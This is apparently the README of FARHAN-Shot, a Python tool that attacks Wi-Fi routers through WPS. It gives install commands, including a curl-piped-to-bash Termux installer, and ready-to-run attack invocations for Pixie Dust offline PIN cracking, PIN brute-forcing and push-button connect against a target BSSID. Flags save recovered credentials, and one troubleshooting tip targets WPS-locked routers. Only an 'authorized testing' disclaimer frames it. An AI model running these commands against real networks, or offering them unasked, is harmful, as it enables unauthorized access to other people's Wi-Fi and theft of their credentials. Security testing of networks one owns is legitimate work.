___ _ ____ _ _ __ _ _ ____ _ _ __ ____
/ __)( ) ( _ \( )( ) / _\ ( \( ) / ___)( )( ) / \(_ _)
( (__ )( ) __/ )() (/ \ ) ( \___ \ )__( ( O ) )(
\___)(__)(__) \____/ \_/\_/(_)\_) (____/(_)(_) \__/ (__)
FARHAN-Shot — WPS Penetration Testing Tool
For authorized security testing only. Do not use on networks you don't own.
FARHAN-Shot automates WPS attacks against Wi-Fi routers. No monitor mode needed — runs in managed mode via wpa_supplicant.
| Attack | Flag | Speed |
|---|---|---|
| Pixie Dust — offline PIN crack | -K |
Fast |
| PIN Bruteforce — ~11k combinations | -B |
Slow |
| Push-Button Connect — no PIN | --pbc |
Instant |
Python 3.6+ wpa_supplicant pixiewps iw Root/sudo
Linux / Kali
sudo apt install -y wpasupplicant pixiewps iw python3
git clone --depth 1 https://github.com/Gtajisan/FARHAN-Shot.git
cd FARHAN-Shot
sudo python3 main.py --helpAndroid / Termux — One-liner
curl -sSf https://raw.githubusercontent.com/Gtajisan/FARHAN-Shot_Termux_installer/master/installer.sh | bashAndroid / Termux — Manual
pkg update && pkg upgrade -y
pkg install root-repo git tsu python wpa-supplicant pixiewps iw openssl -y
termux-setup-storage
git clone --depth 1 https://github.com/Gtajisan/FARHAN-Shot.git
cd FARHAN-Shot
sudo python3 main.py -i wlan0 -KUpdate / Uninstall
cd FARHAN-Shot && git pull # update
sudo rm -rf FARHAN-Shot # uninstallsudo python3 main.py [OPTIONS]# Scan nearby networks and attack
sudo python3 main.py -K
# Specify interface
sudo python3 main.py -i wlan0 -K
# Target a specific router
sudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K
# Bruteforce
sudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B
# Scan only — no attack
sudo python3 main.py --scan-only
# Save results
sudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -w -o results.jsonAndroid tip: Turn Wi-Fi off → enable Hotspot → enable Location → run as root.
| Flag | What it does |
|---|---|
-i |
Wireless interface (auto-detected if omitted) |
-b |
Target BSSID — skips scan |
-K |
Pixie Dust attack |
-B |
PIN Bruteforce |
--pbc |
Push-Button Connect |
-p |
Use a specific PIN |
--all-pins |
Try all 108+ algorithm PINs |
--scan-only |
Scan and exit |
--channel |
Limit scan to one channel |
-F |
Force full PIN range in Pixie Dust |
-w |
Save credentials to file |
-o |
Export results to JSON |
-d |
Delay between attempts (seconds) |
--timeout |
WPS timeout per attempt (default: 30s) |
-l |
Loop back to scan after each attack |
-v |
Verbose wpa_supplicant output |
--no-color |
Strip colors (good for logging) |
--mtk-wifi |
MediaTek driver fix (Android) |
--iface-down |
Bring interface down on exit |
| Problem | Fix |
|---|---|
| RF-kill blocked | sudo rfkill unblock wifi |
| Interface busy | sudo systemctl stop NetworkManager |
| wpa_supplicant socket error | sudo pkill wpa_supplicant then retry |
| pixiewps not found | sudo apt install pixiewps or pkg install pixiewps |
| Interface disappears (MediaTek) | Add --mtk-wifi |
| Pixie Dust fails to find PIN | Try -F or --timeout 60 |
| WPS locked | Use -K — needs only one handshake |
| No networks found | Retry: sudo python3 main.py --scan-only |
| DRYGDRYG | Core OneShot architecture |
| rofl0r | Initial OneShot implementation |
| Wiire | pixiewps |
| fr0stb1rd | WPS PIN algorithms |
| Gtajisan | FARHAN-Shot — all enhancements |